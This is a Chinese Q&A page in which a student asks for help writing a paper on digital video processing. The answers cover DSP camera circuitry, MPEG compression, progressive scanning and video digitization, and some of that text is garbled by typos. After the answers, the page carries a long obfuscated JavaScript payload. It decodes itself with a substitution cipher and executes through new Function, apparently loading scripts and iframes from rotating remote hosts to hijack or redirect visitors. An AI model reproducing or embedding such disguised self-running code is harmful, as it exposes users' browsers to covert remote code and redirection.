关于数字视频处理的!!!拜托,很急

数字视频处理的概述,涉及的技术原理,用途,有哪些常用的软件,各有何特点!使用中可能遇到什么问题!拜托了!!!啊有再全一点的??我写论文的,没去上过课....拜托........
2025-03-01 21:49:58
推荐回答(3个)
回答1:

http://baike.baidu.com/view/257435.htm
看看这个网站资料吧

一,DSP数字处理技术
从90年代起,人类社会步入信息时代,而信息时代一个重要特征就是数字化的产品大行其道,其中最典型的代表就是以DSP为核心的技术及其产品应用.DSP是数字信号处理的英文缩写,但是它的发展已经超越了其自身的表面含义,它已经成为一种新的数字处理技术.特点是DSP在摄像机中的成功应用掀开了现代摄像技术的新篇章.成为继CCD之后的又一个划时代的摄像机新技术应用成果.
DSP数字信号处理技术是数字信号处理,微电子学,计算机科学和计算机数学的综合科研成果.DSP芯片现已广泛应用于磁量驱动器,蜂窗式电话,调制解调器,无线电接收机,微控制器,光盘机,数码相机和数字摄像机等诸多领域,并将在绝大部分的电子设备中得以应用.
DSP数字信号处理器在彩色摄像机中的应用使其成为整个系统最核心的部件之一,它的功能是通过一系列复杂的数字算法,对数字图像信号进行优化处理,包括白平衡,彩色平衡,伽玛校正及边缘校正等,这些优化处理将直接影响图像信号的质量.
就任何一个DSP芯片来说,其本质上都是一个单片微型计算机,但它是专门用来处理数字信号的,其最大特点就是运算速度极快,比普通的微型计算机快2个数量级,能在短时间内完成复杂而繁琐的数学运算.DSP数字信号处理摄像技术于90年代中期开发,并首先在VHS-C格式摄录机中应用.图3-81就是这种摄录机中DSP处理电路的典型结构图.
图中从CCD摄像头送出的图像信号经A/D变换成数字信号后就送进了DSP数字信号处理集成电路.在集成电路中首先进行Y/C白平衡的调整,然后从Y/C处理电路送出的数字信号经数字变焦后存入帧存储器.同时,数字变焦处理电路可根据不同比例,从帧存储器中取出放大或缩小的图像信号送到自动聚焦处理器,经过对信号中主频分量的分析,控制电机调整镜头距离,使信号中主频分量为最大,即最佳聚焦状态.
在掌中宝型摄录机的实际应用中一个重要的问题就是操作者手掌的晃动,由于晃动引起图像的不稳定,而不使手掌晃动又几乎是不可能的.因此,必须要在摄录机电路中解决这个问题,而电路中的模糊图像稳定处理,就是专门解决这个问题的.在图中,经Y/C处理的信号分出一路送运动检测电路,检测图像运动状态,并送入模糊处理电路.通过模糊逻辑分析,判断图像的运动是否由手抖引起的,电路根据手抖动的程度进行判断,认定是手抖动引起的晃动,则从储存器中选择读取图像信息去抵消图像的晃动.
经上述数字化处理后,再经D/A变换还原成模拟视频信号送入记录系统,并记录在磁带上.
经过几年的开发研制,DSP摄像技术已趋成熟.目前主要摄像机厂商代表当前最高水平的机型全部都采用了DSP摄像技术.如索尼公司3CCD DSP彩色摄像机DXC—D30Pjiushi比较突出的机型.(如图)
二,全数字化视频处理技术
目前数字摄像机仍有部分模拟处理电路,其发展方向是视频信号处理的全部数字化,而关键在于发展产量化.
比特的A/D转换器.目前最新一代的是14比特DSP数字信号处理的摄像机,如JYC公司的DY-90EC,DY-70EC(D9格式),SONY公司的DSR-PDX10P(DVCAM),松下公司的DVCPRRO50个市的AJ-D900等等,在性能上提高了图像清晰度,扩展了图像的细节校正,提供更为灵活的色度控制,增加了更大的过曝光信号的控制等等.
数字化视频处理技术的核心是数字视频编码/解码技术.在90年代初以前,没有人相信视频信息可以数字化处理,但当视频压缩技术取得重大进展时,这种传统的认识被打破.现在,数字视频得到了广泛应用,如数字电视可以通过卫星和地面网络传送到家庭;Internet网上的视频邮件以及家户是视频游戏;在电信网络上传送视频会议;在计算机网上进行远程视频教学等等.这一切得益于视频压缩技术的发展.
1.MPEG压缩原理简述
数字视频压缩就是在一序列图像中清除冗余信息,使数据量大为减小,但在解压缩以后人眼并不察觉图像质量的变化.数字压缩通常称为编码,而解压缩则称为解码.MPEG是当今最通用的视频编码方法,其中MPEG-2是为了速率应用(如电视,DVD等)而制定的.MPEG-2编码有两个主要步骤:
在每帧图像中用块编码技术进行空间压缩.例如,人眼对黑暗背景中的图像信息反映不敏感,因此就可以把帧图中大面积黑暗背景压缩掉大部分.
在相邻的几帧图像中间进行时间压缩,以清除帧与帧之间的冗余信息,该步骤叫动态判断.例如,一只小鸟在空中飞,一帧图中只有小鸟在飞,而大面积天空背景基本是不变的,而且帧与帧之间都有相似的不便信息,这些冗余信息都可以压缩掉.
在编码过程中,编码器首先对输入的视频帧图进行确定是动态判断压缩,还是块编码压缩,然后进行编码,清除冗余信息.
2.视频信号的数字化处理
视频信号的数字化处理是必然发展的趋势,从90年代以来就开始向这方面发展,如松下公司的AQ—20,AQ—11型数字化处理摄像机被认为是第一代数字摄像机的代表.
数字化摄像机具有以下特点:
提高稳定性,由于实现了数据存储,使这些数据不会有随时间和温度变化,从而实现了各种控制量的高稳定性.
附加了一些新功能,如自动阴影补偿,彩色细节补偿,电脑控制伽玛校正功能等等.
提高了一些操作性能.
当前.数字化视频处理技术已经大大超过了传统的模拟处理技术,并且会在不远的将来,全面彻底的现代化.
3.12 数字摄像机的信技术与新功能
全数字化摄像机是在磁带或硬盘上记录数字化的视,音频信号,要处理的信息量很大.为此要采用新的高密度记录方式,数据压缩技术以及大容量的集成电路存储器.全数字化视频的主要优点之一就是其多次复制性好,便于反复进行编辑与复制,并且能与计算机相连进行图像处理.此外,不断引进与开发新技术应用,明显提高了数字摄像机的整机性能和摄录和摄录质量.
数字摄录机的新技术应用
(一)逐行扫描技术
传统的摄像机都采用隔行扫描的方式,但近年来JVC公司和松下公司独树一帜,在新型摄录机上都采用逐行扫描式电荷耦合器件(如JVC GR-DVL9600型和松下MV-DS44EN型),使拍摄的影像更加清晰和更富层次感.
当初由于技术上的原因,不得不采用隔行扫描来减少带宽,即在扫描时人为地把一幅图像强行划分成单数行和双数行两场,然后在电视机上再把这两场图像合成一帧图像.由于在分别扫描单数行和双数行时容易出现视觉差而使画面变得比较朦胧.而摄录机该用逐行扫描CCD后,重放时能保证更高的画质(尤其是在重放静止图像时),由于画面不存在单数行和双数行,所以能保证活动和静止画面都一样清晰.这尤其适合将图像转存为电脑图像格式或通过打印机打印.摄像机采用逐行扫描以后,其图像质量可与数码相机相媲美.此外,逐行扫描式摄像机能以高出传统摄像机一倍的摄像频率进行拍摄,特别对体育运动的拍摄,能清晰地捕捉升级到极微的动作变化.
(二)特殊重放新技术
袖珍型数字摄录机上往往设计有特殊重放功能,主要占据静像(静止图像重放)(PAUSE/STILL),慢放像(慢速重放)(Slow play),快放像(快速放像)(Fast play),以及寻像(高速图像搜索)(speed search)等.特殊重放功能是多磁头方式和动态跟踪方式来实现的.所谓多磁头方式,即在原来的两个视频磁头之外,又增加了专门用于特殊重放的磁头,根据作用不同分别设有3~8磁头等多种方式;所谓动态跟踪方式,就是为了能保证在无噪声情况下进行特殊重放,必须建立一个自动扫描跟踪系统.该系统能检测出重放轨迹偏离磁迹的方向和角度,然后通过一个闭环的电子伺服电路来纠正重放轨迹的误差,以达到正确跟踪磁迹的目的.即为什么要动态跟踪呢 因为如果不采用动态跟踪的话,由于使用了多个特殊的重放磁头,像在高速重放时,磁头要穿过好几条磁迹跟踪扫描,每当通过方位角不同的磁迹时,产生噪声带是不可避免的.而采用了动态跟踪技术,随时控制磁头的移动,使可以完全追踪扫描方位角相同的磁迹,从而消除噪声带.
(三)记录媒体新技术
长期以来摄录机采用磁带作为记录媒体的唯一模式,随着数字压缩技术和硬磁盘存储技术的发展,这种一统天下的局面被开始打破,磁盘,磁光盘,计算机存储卡以及硬盘等数字存储媒体都在摄录机上找到了自己的一席之地.
首先打破这一模式的是日本池上公司的MD硬盘摄录一体机,该机内装2.5英寸硬磁盘两块,图像压缩方式为JPEG,可记录20分钟Betacam质量的素材.他的最大特点是具有超前10-60秒的图像,因而即使在希望记录的场面出现后才安下记录启动键,也不会丢失镜头.其次它还具有简单编辑功能,在拍摄完成后,可单机进行非线性编辑,保证了节目制作的快速及时.1999年索尼公司也推出了其第一款的MD为存储介质的数字摄录机——SONY,DCM-M1,如图3-82.不但可拍动态图像,还可拍静止画面.
FD是软盘(Floppy Disk)缩写.索尼公司率先推出的3.5寸软磁盘为辅助记录媒体的数字摄录机.
惠普和索尼联合开发,与2000年推出的磁光盘为记录载体的数字摄录机,该光盘可实现的5兆位/秒的编码速度录制30分钟的图像.此外索尼公司第一推出了的内置PCMCTA插卡为记录载体的DV格式的摄录机——TRV9000,以及使用Memory Stick记忆棒的摄录机——TRV17等等.进一步拓展了摄录机的记录载体种类,为向多媒体数字摄录机的开发提供了新思路.如图3-83 .
以PCMCTA插卡为记录载体的TRV-9000
(四)细节校正中的新技术
细节校正是影响图像质量的最大因素之一,而数字摄像机在处理这个重要功能的控制方面引入了一系列新技术,这些新技术主要有以下几种:
水平细节信号的可变脉宽技术
水平细节信号的最佳脉宽受到场景内容,录像机以及与摄像机连接的其他装置的带宽的影响.高性能的数字摄像机具有在执行细节校正方面调节频率中心的能力.水平细节校正信号用具有不同频率特性的三个细节信号的组合来形成,这三个信号通过三个数字滤波器来得到.利用改变这三个信号的混合比例来达到改变合成水平细节信号的峰值频率的目的.当这个峰值频率改变时,细节校正信号宽度,或者说在图像的过度上,细节校正信号的效果会适当地改善.
对过大的细节信号的精确削波技术
在一个高对比度的被摄图像中,如很大的从暗到亮的过渡或从亮到暗的过渡,摄像机可能会产生过大的细节校正,导致出现"黑晕"和"台阶倾斜"效应;在一个非常亮的物体周围,"黑晕"看上去像深厚的黑便,而"台阶倾斜"看上去像一个锯齿状倾斜的边,这些效果是令人讨厌的.数字摄像机采用精确的削波技术可在水平和垂直两个方向上切掉过分大细节信号而得到一个合适的水平,从而有效地减少"黑晕"和"台阶倾斜"效应.
精确的肤色细节校正技术
细节校正是强调图像的鲜锐度,但在某些拍摄场合却要求软图像,如人的面部.肤色的细节校正的功能是在包含肤色的图像区域内减少细节电平没,而对其它区域的细节电平则不减少,因此可以给出非常自然的肤色重现而不影响其它区域图像有清晰的勾边图像.
4.动态对比度控制(DCC)技术
动态对比度控制技术(DCC)可以对高亮度,高对比度的图像,通过压缩其亮度信号,可清晰地再现高亮度区的细节信号,这种处理可以达到600%的亮度动态范围.
(五)其它的新技术应用
1.逐行互补彩色滤波技术
采用逐行互补彩色滤波技术可以明显提高摄像机的垂直分辨率,如JVC
推出的首部CCD逐行扫描数字摄录机GR-DVL9600中就采用了该公司独有的逐行补彩色滤波器,能提供高达560线的垂直分辨率,如果与传统隔行扫描式CCD摄像机比较,相当于一名近百万像素的摄像机的画质.
2.宽频带处理技术
采用宽频带处理技术可明显提高摄录机的水平分辨率,在传统的彩色摄像机中,处理亮度和色度信号方面采用的是Y/C频率分离方式的传统模式,JVC公司在其逐行扫描式摄录机GR-DVL9600中打破了这种传统的模式,采用宽频带处理技术,使亮度信号的下降变得比较缓慢,从而使图像的水平清晰度大为提高.
3.智能自动开关技术
采用了智能自动开关技术的数字摄录机,只要一打开显示屏(电子寻象器),电源与镜头便自动开启,一开即拍,该功能对于枪拍录象时非常有用.

回答2:

数字视频的概述

数字视频就是先用摄像机之类的视频捕捉设备,将外界影像的颜色和亮度信息转变为电信号,再记录到储存介质(如录像带)。播放时,视频信号被转变为帧信息,并以每秒约30帧的速度投影到显示器上,使人类的眼睛认为它是连续不间断地运动着的。电影播放的帧率大约是每秒24帧。如果用示波器(一种测试工具)来观看,未投影的模拟电信号看起来就像脑电波的扫描图像,由一些连续锯齿状的山峰和山谷组成。
为了存储视觉信息,模拟视频信号的山峰和山谷必须通过数字/模拟(D/A)转换器来转变为数字的“0”或“1”。这个转变过程就是我们所说的视频捕捉(或采集过程)。如果要在电视机上观看数字视频,则需要一个从数字到模拟的转换器将二进制信息解码成模拟信号,才能进行播放。
模拟视频的数字化包括不少技术问题,如电视信号具有不同的制式而且采用复合的YUV信号方式,而计算机工作在RGB空间;电视机是隔行扫描,计算机显示器大多逐行扫描;电视图像的分辨率与显示器的分辨率也不尽相同等等。因此,模拟视频的数字化主要包括色彩空间的转换、光栅扫描的转换以及分辨率的统一。
模拟视频一般采用分量数字化方式,先把复合视频信号中的亮度和色度分离,得到YUV或YIQ分量,然后用三个模/数转换器对三个分量分别进行数字化,最后再转换成RGB空间。

回答3:

我好像只用过Matlab,很不错的仿真软件,其他的不知道,不好意思

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();